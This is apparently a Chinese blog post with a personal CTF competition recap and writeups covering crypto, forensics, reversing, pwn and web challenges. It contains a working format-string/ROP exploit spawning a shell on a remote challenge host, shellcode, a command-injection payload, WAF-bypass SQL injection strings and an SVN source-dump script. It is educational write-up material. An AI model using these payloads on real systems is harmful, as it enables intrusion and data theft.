8月9日个人赛总结 && writeup

前言

还好这次比赛网络环境比较差,主办方被迫放了许多离线题,让我这只bin dog有机可乘(手动滑稽),但这次比赛也确实发现自身的web能力有限,对于一些简单的web题竟然出现无从下手的情况。。也借这次比赛总结下离线环境下一些特殊操作吧。

正文

对于一些密码类的题目,手头有合适的工具最好了,但很多情况下,工具并不适用,比如这次比赛中,出现的aes解密,不清楚加密模式,需要输入iv和key,而手头的工具只可以输入key,且加密模式确定,没办法,只能去找库,不过比较幸运的是,之前安装过一个crypt的python库,看里面的源码,竟然有aes加密的说明,简单的倒推一下就能够推出解密脚本。

1
2
3
4
5
6
from Crypto.Cipher import AES
key = b'EaRncVfLgIPMaygA'
iv = b'HDkMsMEzkkzyQLTH'
cipher = AES.new(key, AES.MODE_CBC, iv)
msg = iv + base64.b64decode("kWZnRZMZv9JJLcD4v6o19iFKHOhc/S1Dv5y3r2YxhnRuWE8w/ji0jr0VFAGDbfzyQLcONBtB6pjetkHggUPv/rUmXoSfTnnWJ/cfv9deT56KoxwtXMGO4LJyXakTPE2tMcu0UexsnlhfhlqUE2vGnNnNUm996thkRlp3v36OfwgVGfT22UVjv+lpk0lKXgT2liQm/eBRilEaPw4o6P29YV7zN3AqI2y5Sa+I13o53cwO9JNOCXC28wuYSBrbOauu61VGj9MroQ3Si5swvx4p8vzyZZd5SkjIJ69AFi6pGPxnptofigIS5NRvVYLady+n0IWDj32whAPinOHcB8t3qJH1YtwNf9ly7gFQUgqCEXXDuRTcercMxe72siNNtg1LZTVQJLViD4G1ROdrh9Lic2BTe/9mAt/mKeRIaXJDHrTTu/d6xao4P995xjhSAhkD+cgbuOCgwhkpVH6cyRR+aFKFBv6UVZzob4s7ul9Xjzc9ETBaoE8CoAXLSZ5zEGs0jEbL0Hf5SdenlISyny97BFnqiGXRQCwBIacq+ytw/VK6DC2ddHAOndZ5K/zmnE0WuccCDTQ8gskaswFpbSG4q47HaN8t/VNug4NfZSGE/kbf+rW7QGlwMF66ksxhpthlkXJkICbpgnHNwsAjZnDhN1t9SDms4EIbozHaopiH79gy+h3N8lk/85OJfM0rac5CGcFlO9Tgf0ov6cGe8ABTIw1tFKZIcXWqETIbl60WCgBxmJFsBbl0ikDDyTsxSn8cNK8bVymqmL5TuTM2clBhd/rV44nA5vCGAnEKzfEHoV3YFc4gik8/nUutDmxJdjeqrd7M0Lm0QKpVPl8ATA5Tf2PKTJ9CaxIiLyazY74D2egqYZzddjq4aXXNPWgwYk5OKAZz+avRMJWu+ACx0wlih0ScOor4PMbpRqSc8oEjmeg=")
cipher.decrypt(msg)

对于zip压缩包,还是archpr好用。。

对于web弱口令还需要准备一本字典,其实早就应该准备了,包括一些bypass waf的字典,网站扫描的字典,经过这次比赛,发现对于web题而言,字典是多么重要。

对于线下赛,webshellkill是一款好工具,可以直接利用其来找容易发现的一句话后门。(不过自己也需要写一个利用命令执行自动种马的脚本)

rasctftools没有共模攻击的利用方式(这次比赛吃亏了!应该还有它没有的其他攻击方式)

线下赛的web waf需要完善。

新的pyc加密方式 stegosaurus

writeup 如下

pwn

打开文件。。发现又要压缩密码。。。ORZ

linux/x86下一段汇编代码

1
2
3
4
5
6
7
8
9
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
push %ecx
push $0x68732f2f
push $0x6e69622f
movl %esp,%ebx
movb $11,%al
int $0x80

请将其提取为可用的shellcode,形式如\x01\x2d\x……的代码(字母小写),shellcode的小写MD5
值为解压密码,上用pwntools的asm函数,将这些操作指令反汇编成机器码,如下

\x31\xc0\x31\xdb\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

然后再用题目提供的md5计算器计算下md5即可。

68f3e981152d37d372d732d0c3ee3977

接着常规套路,IDA打开分析一波,等等??这pwn文件怎么那么熟悉= =。。 这不是全国大学生信安赛pwn3么,原题。。。虽然当时没做出来,但是后来看着别人的writeup复现了,exp还在本地,但是执行的时候,没有拿到shell,再看了下pwn文件,发现很多地址都有变动。

变动的数据

1
2
3
4
5
stack_povit = 0x00000000004b93f8
pop_rdi_ret = 0x00000000004005d5
fake_fsp = 0x06CCC10
malloc_hook = 0x6CB788
read_buf = 0x400AEE

具体的思路的话,还是利用格式化字符串的漏洞,修改malloc_hook的数据,让其在接受比较大的参数数据的时候执行malloc,比如”%100000c”,我们便可以控制执行流了。但是这边是静态编译,也不能狗利用one_gadget,很绝望,然而我们可以构造裸的rop来调用syscall(hhhhh),首先得找一个stack_povit,使我们的栈空间得到迁移,在这迁移的栈空间上构造我们的rop,然后触发ret,执行我们的rop,就拿到shell啦,下面是exp。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
# import roputils,os,time
from pwn import *
from ctypes import *
context(log_level="debug")
DEBUG = 0
target = "./pwn1"
remote_ip = "172.16.2.10"
port = 20000
# rop = roputils.ROP(target)
# elf = ELF(target)
# lib = cdll.LoadLibrary('./libc64.so')
# payload = rop.call('__isoc99_scanf', 0x804888F,0x0804A034)
# libc = ELF[target]
# msfvenom -p linux/x86/exec CMD=/bin/sh -b "\x0b\x00" -f python
#buf = ""
# buf += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
# buf += "\x76\x0e\x7d\x30\x90\xf9\x83\xee\xfc\xe2\xf4\x17\x3b"
# buf += "\xc8\x60\x2f\x56\xf8\xd4\x1e\xb9\x77\x91\x52\x43\xf8"
# buf += "\xf9\x15\x1f\xf2\x90\x13\xb9\x73\xab\x95\x38\x90\xf9"
# buf += "\x7d\x1f\xf2\x90\x13\x1f\xe3\x91\x7d\x67\xc3\x70\x9c"
# buf += "\xfd\x10\xf9"
# int 0x80 linux x86 0x1c
# buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
# bss = rop.section('.bss')
# rop.got('puts')
# rop.call('read', 0, addr_bss, 0x100)
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
# def exec_fmt(payload):
# p = process(target)
# p.recvuntil("input:")
# p.sendline(payload)
# p.recvuntil("input:")
# p.sendline(payload)
# return p.recvuntil(",")[:-1]
# autofmt = FmtStr(exec_fmt)
# offset = autofmt.offset
# def send_payload(payload):
# sl(payload+"%100000c")
# autofmt = FmtStr(send_payload,offset=offset)
# autofmt.write(free_hook_addr,one_gadget_addr)
# autofmt.execute_writes()
if DEBUG:
p = process(target,env={"LD_LIBRARY_PATH":sys.path[0]})
# gdb.attach(p,"b*0x400B69\nc")
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
stack_povit = 0x00000000004b93f8
pop_rdi_ret = 0x00000000004005d5
fake_fsp = 0x06CCC10
malloc_hook = 0x6CB788
read_buf = 0x400AEE
# payload = 'A'*8+"%6$n\0"
l = []
l.append((stack_povit ) &0xffff)
l.append((stack_povit >> 0x10) &0xffff)
l.append((pop_rdi_ret) &0xffff)
l.append((pop_rdi_ret >> 0x10) &0xffff)
l.append((fake_fsp) & 0xffff)
l.append((fake_fsp >> 0x10) &0xffff)
l.append((read_buf) & 0xffff)
l.append((read_buf >> 0x10) & 0xffff)
payload = ""
delta = 0
printed = 0
index = 6 + 14 # target addr
for data in l:
delta = (data-printed)&0xffff
payload += '%'+str(delta)+'c'+'%'+str(index)+'$hn'
printed += delta
index += 1
# payload+=(len(payload)%8)*'A'
payload +="%"+str(fake_fsp-0x20)+"s"
payload = payload.ljust(14*8,'a')
# target addr
payload += p64(malloc_hook)
payload += p64(malloc_hook+2)
payload += p64(fake_fsp)
payload += p64(fake_fsp+2)
payload += p64(fake_fsp+8)
payload += p64(fake_fsp+0xa)
payload += p64(fake_fsp+0x10)
payload += p64(fake_fsp+0x12)
sl(payload)
pop_rdi_ret = 0x00000000004005d5
pop_rdx_rsi_ret = 0x0000000000442a99
pop_rax_rdx_rbx_ret = 0x0000000000479836
syscall = 0x4004ce
rop = "aaaa\x17"
rop += p64(pop_rdi_ret)+p64(fake_fsp+0x50+0x18)
rop += p64(pop_rdx_rsi_ret)+p64(0)+p64(0)
rop += p64(pop_rax_rdx_rbx_ret)+p64(0x3b)+p64(0)+p64(0)
rop += p64(syscall)
rop += "/bin/sh\x00"
rop += "/bin/sh\x00"
sl(rop)
# payload = "%6$hn"
p.interactive()
# flag{9d3db853efce91066f22f1bc09aea6}

XOR

看了加密脚本。。可以直接写出解密脚本,流程基本上没有变化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from struct import pack, unpack
from base64 import b64encode
from base64 import b64decode
from random import randint
with open('flag.enc', 'r') as f:
s = f.read()
p = b64decode(s)
blocks = unpack('I' * (len(p) / 4), p)
result = [block ^ block >> 16 for block in blocks]
ciphertext = (''.join(pack('I',block) for block in result))
print ciphertext[::-1]

moudle

其实题目名字已经提示了很多了,但是。。我在赛场上竟然蠢的只看了其中一个公钥文件0 0,然后GG。常规思路,用rsatools跑了一下,发现没有任何信息,赛后得知其实RSA共模攻击,0 0蠢的想扇死自己。。。

findme

比较良心,没去掉后缀名,用winhex转换磁盘镜像获得磁盘回收站内的zip文件,然后需要解密ORZ,以为是伪加密,但是不存在的,010打开,发现zip文件末尾存在额外数据,尝试用gbk解码,发现提示。用工具很快就能爆破出密码。stegslove打开,在其额外数据段发现其内存在flag= =

pyc

使用GitTools恢复出了四个历史文件夹,其中两个里面发现了存在数据,一个是pyc文件,还有一个压缩包,不知道干嘛的,010打开pyc文件,发现有密码,一开始没有在意,用常规思路,去逆向pyc,发现不存在的,后来试着用刚刚发现的密码去解压压缩文件,发现有现成的攻击可以跑。。。ORZ
跑出来就是flag

pcap

NetworkMiner提取数据,发现存在几个图片文件和一个密文,提示是aes,尝试用aes去破解,获得png数据,生成图片后,扫码获得flag

1
2
3
4
5
key = b'EaRncVfLgIPMaygA'
iv = b'HDkMsMEzkkzyQLTH'
cipher = AES.new(key, AES.MODE_ECB, iv)
msg = iv + base64.b64decode("kWZnRZMZv9JJLcD4v6o19iFKHOhc/S1Dv5y3r2YxhnRuWE8w/ji0jr0VFAGDbfzyQLcONBtB6pjetkHggUPv/rUmXoSfTnnWJ/cfv9deT56KoxwtXMGO4LJyXakTPE2tMcu0UexsnlhfhlqUE2vGnNnNUm996thkRlp3v36OfwgVGfT22UVjv+lpk0lKXgT2liQm/eBRilEaPw4o6P29YV7zN3AqI2y5Sa+I13o53cwO9JNOCXC28wuYSBrbOauu61VGj9MroQ3Si5swvx4p8vzyZZd5SkjIJ69AFi6pGPxnptofigIS5NRvVYLady+n0IWDj32whAPinOHcB8t3qJH1YtwNf9ly7gFQUgqCEXXDuRTcercMxe72siNNtg1LZTVQJLViD4G1ROdrh9Lic2BTe/9mAt/mKeRIaXJDHrTTu/d6xao4P995xjhSAhkD+cgbuOCgwhkpVH6cyRR+aFKFBv6UVZzob4s7ul9Xjzc9ETBaoE8CoAXLSZ5zEGs0jEbL0Hf5SdenlISyny97BFnqiGXRQCwBIacq+ytw/VK6DC2ddHAOndZ5K/zmnE0WuccCDTQ8gskaswFpbSG4q47HaN8t/VNug4NfZSGE/kbf+rW7QGlwMF66ksxhpthlkXJkICbpgnHNwsAjZnDhN1t9SDms4EIbozHaopiH79gy+h3N8lk/85OJfM0rac5CGcFlO9Tgf0ov6cGe8ABTIw1tFKZIcXWqETIbl60WCgBxmJFsBbl0ikDDyTsxSn8cNK8bVymqmL5TuTM2clBhd/rV44nA5vCGAnEKzfEHoV3YFc4gik8/nUutDmxJdjeqrd7M0Lm0QKpVPl8ATA5Tf2PKTJ9CaxIiLyazY74D2egqYZzddjq4aXXNPWgwYk5OKAZz+avRMJWu+ACx0wlih0ScOor4PMbpRqSc8oEjmeg=")
cipher.decrypt(msg)

wordpress

按照提示做出来的,本来可以用find命令查最近修改文件的日期来获取信息,但是命令忘了,又不能够连接网络ORZ。。。提示是存在后门。grep一下eval(找到后门文件,接下来常规思路。(赛后得知可以用killshell来快速查找后门的,找后门的还有几个工具,有时间得拿出来比较实验以下~web弱渣了ORZ)

Replace

解压缩包密码的过程就不说了吧,很无聊

直接upx解壳,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a = [0x63,0x7C,0x77,0x7B,0x0F2,0x6B,0x6F,0x0C5,0x30,0x1,0x67,0x2B,0x0FE,0x0D7,0x0AB,0x76,0x0CA,0x82,0x0C9,0x7D,0x0FA,0x59,0x47,0x0F0,0x0AD,0x0D4,0x0A2,0x0AF,0x9C,0x0A4,0x72,0x0C0,0x0B7,0x0FD,0x93,0x26,0x36,0x3F,0x0F7,0x0CC,0x34,0x0A5,0x0E5,0x0F1,0x71,0x0D8,0x31,0x15,0x4,0x0C7,0x23,0x0C3,0x18,0x96,0x5,0x9A,0x7,0x12,0x80,0x0E2,0x0EB,0x27,0x0B2,0x75,0x9,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0x0A0,0x52,0x3B,0x0D6,0x0B3,0x29,0x0E3,0x2F,0x84,0x53,0x0D1,0x0,0x0ED,0x20,0x0FC,0x0B1,0x5B,0x6A,0x0CB,0x0BE,0x39,0x4A,0x4C,0x58,0x0CF,0x0D0,0x0EF,0x0AA,0x0FB,0x43,0x4D,0x33,0x85,0x45,0x0F9,0x2,0x7F,0x50,0x3C,0x9F,0x0A8,0x51,0x0A3,0x40,0x8F,0x92,0x9D,0x38,0x0F5,0x0BC,0x0B6,0x0DA,0x21,0x10,0x0FF,0x0F3,0x0D2,0x0CD,0x0C,0x13,0x0EC,0x5F,0x97,0x44,0x17,0x0C4,0x0A7,0x7E,0x3D,0x64,0x5D,0x19,0x73,0x60,0x81,0x4F,0x0DC,0x22,0x2A,0x90,0x88,0x46,0x0EE,0x0B8,0x14,0x0DE,0x5E,0x0B,0x0DB,0x0E0,0x32,0x3A,0x0A,0x49,0x6,0x24,0x5C,0x0C2,0x0D3,0x0AC,0x62,0x91,0x95,0x0E4,0x79,0x0E7,0x0C8,0x37,0x6D,0x8D,0x0D5,0x4E,0x0A9,0x6C,0x56,0x0F4,0x0EA,0x65,0x7A,0x0AE,0x8,0x0BA,0x78,0x25,0x2E,0x1C,0x0A6,0x0B4,0x0C6,0x0E8,0x0DD,0x74,0x1F,0x4B,0x0BD,0x8B,0x8A,0x70,0x3E,0x0B5,0x66,0x48,0x3,0x0F6,0x0E,0x61,0x35,0x57,0x0B9,0x86,0x0C1,0x1D,0x9E,0x0E1,0x0F8,0x98,0x11,0x69,0x0D9,0x8E,0x94,0x9B,0x1E,0x87,0x0E9,0x0CE,0x55,0x28,0x0DF,0x8C,0x0A1,0x89,0x0D,0x0BF,0x0E6,0x42,0x68,0x41,0x99,0x2D,0x0F,0x0B0,0x54,0x0BB,0x16]
b = "bb3ccfb0213965aed24b9264ae4bbb92543954bb0739bbbbcf64f554cff5f365f565f386".decode("hex")
flag = ""
for x in b:
d = ord(x) ^ 0x88
for y in range(0x0,0xff):
# print (y &0xf)+(y >> 4)*2
if a[(y >> 4)+8*((y &0xf)*2)] == d:
flag += chr(y)
break
print flag
# flag{e52d34823f49e9f7effa819a105150}

送分题

web弱渣就算碰到送分题也不会啊,通过提示和提供的密码本,原来考察点是在于弱口令ORZ (好吧,服了,一直拿sql在注,返回速度还特别慢),用burp加载top 10 password(原来还有这种东西),爆破登录界面得到flag。

code

秒做的题目, payload 127.0.0.1;cat flag 命令执行绕过有很多姿势,但遗憾的是这边没有过滤。

waf

waf这题题目其实一开始也不会的,也是通过提示来过的,黑盒测试发现waf拦截许多东西,最为关键的就是 union select,所以想办法绕过,经过N次测试,发现/*!50000select*/ 不会被waf拦截,于是构造%27/*!50000union*/%0a/*!50000select*/%0aflag%0a/*!50000from*/flag%23 得到flag

blog

好像是叫这个名字?忘了,赛后听说是admin,密码是123456,然后进去一系列骚操作获取flag,又是考弱口令啊啊啊啊啊啊

markdown

也是赛后得知的,考察通过markdown的ssrf来获取信息,语法是![](flag.php),flag的文件名需要通过robots.txt文件来获取,构造即可从源码中获得到flag信息。

box

也是赛后得知的,听说是全国大学生信安赛的wanna to see your hat ,(蜜汁微笑,技术支持真懒)。不过作为biner,当时比赛的时候,没去碰这题题目,没做出来,认了。。。。赛后复现如下。

拿weakfilescan扫描以下敏感文件,发现存在svn泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
--------------------------------------------------
* scan http://123.59.52.228:1515 start
--------------------------------------------------
[200] http://123.59.52.228:1515 => http://123.59.52.228:1515/route.php?act=index
[200] http://123.59.52.228:1515/.svn/entries => http://123.59.52.228:1515/.svn/entries
--------------------------------------------------
* scan complete...
--------------------------------------------------
{
"dirs": {
"http://123.59.52.228:1515": [
"http://123.59.52.228:1515/"
]
},
"files": {
"http://123.59.52.228:1515": {
"/.svn/": [
"http://123.59.52.228:1515/.svn/entries"
]
}
}
}

使用svn.py将源码dump下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
#coding:utf-8
__author__ = 'Rivir'
import requests
import os
import sys
print '''
----
_____ ______ __
/ ___/ ______ /_ __/___ ____ / /____
\__ \ | / / __ \ / / / __ \/ __ \/ / ___/
___/ / |/ / / / / / / / /_/ / /_/ / (__ )
/____/|___/_/ /_/ /_/ \____/\____/_/____/
author: Rivir
----
\ . .
\ / `. .' "
\ .---. < > < > .---.
\ | \ \ - ~ ~ - / / |
_____ ..-~ ~-..-~
| | \~~~\.' `./~~~/
--------- \__/ \__/
.' O \ / / \ "
(_____, `._.' | } \/~~~/
`----. / } | / \__/
`-. | / | / `. ,~~|
~-.__| /_ - ~ ^| /- _ `..-'
| / | / ~-. `-. _ _ _
|_____| |_____| ~ - . _ _ _ _ _>
'''
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
def getfilename(url):
with open('wc.db','wb') as f:
content = requests.get(url=url+'/.svn/wc.db',headers=headers).content
f.write(content)
with open('svn.txt','w') as file:
info = os.popen("""sqlite3 wc.db 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;'""").read()
#print info
file.write(info)
os.remove('wc.db')
def restore_svn(url):
getfilename(url)
if not os.path.exists('./svn'):
os.mkdir('svn')
with open('svn.txt') as f:
for file in f:
tmp = file.strip().split('|')
#print tmp
if len(tmp) == 1:
continue
name = tmp[0]
path = tmp[1]
if '/' in name:
book = os.path.dirname(name)
if not os.path.exists('./svn/'+book):
os.makedirs('./svn/'+book)
print 'download:','./svn/'+name
try:
with open('./svn/'+name,'w') as f:
req = requests.get(url+path,headers=headers)
f.write(req.content)
except Exception,e:
#print e
pass
if __name__ == '__main__':
restore_svn(sys.argv[-1])

发现flag.php文件,然而并没有什么软用。发现index.php中,如果$_SESSION["hat"] == "black" 会输出flag,所以我们希望找到一个地方,这个地方是给$_SESSION["hat"]赋予"black"字符串的,我们在login.php中找到了。

1
2
3
4
5
6
7
8
9
10
$sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";
echo $sql;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}

这边有个坑,reg那个页面中所用的表和login页面中登录的表不一样。。所以无论怎么注册都没用,需要选手绕过waf来注入。。。

waf规则

1
2
3
4
5
6
7
8
9
$name = str_replace("'", "", trim(waf($_POST["name"])));
function waf($value){
$Filt = "\bUNION.+SELECT\b|SELECT.+?FROM";
if (preg_match("/".$Filt."/is",$value)==1){
die("found a hacker");
}
$value = str_replace(" ","",$value);
return $value;
}

$_POST首先会被全局转义,故而会多出个反斜杠,这边waf替换掉了单引号,但是没有替换掉反斜杠,导致反斜杠的特殊利用。

select count(*) from t_info where username = '||1#\' or nickname = '||1#\'

转到index页面获取flag

login

???这waf太强啦,真不会啊~

跪求大佬的wp

后记

此次比赛网络环境确实不是很好,所以对于做离线题目的选手要有利的多,离线的环境。做web题的时候,用weakfilescan来发现敏感文件,发现这玩意不支持302,真坑啊。

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. 正文
  3. 3. pwn
  4. 4. XOR
  5. 5. moudle
  6. 6. findme
  7. 7. pyc
  8. 8. pcap
  9. 9. wordpress
  10. 10. Replace
  11. 11. 送分题
  12. 12. code
  13. 13. waf
  14. 14. blog
  15. 15. markdown
  16. 16. box
  17. 17. login
  18. 18. 后记
,
隐藏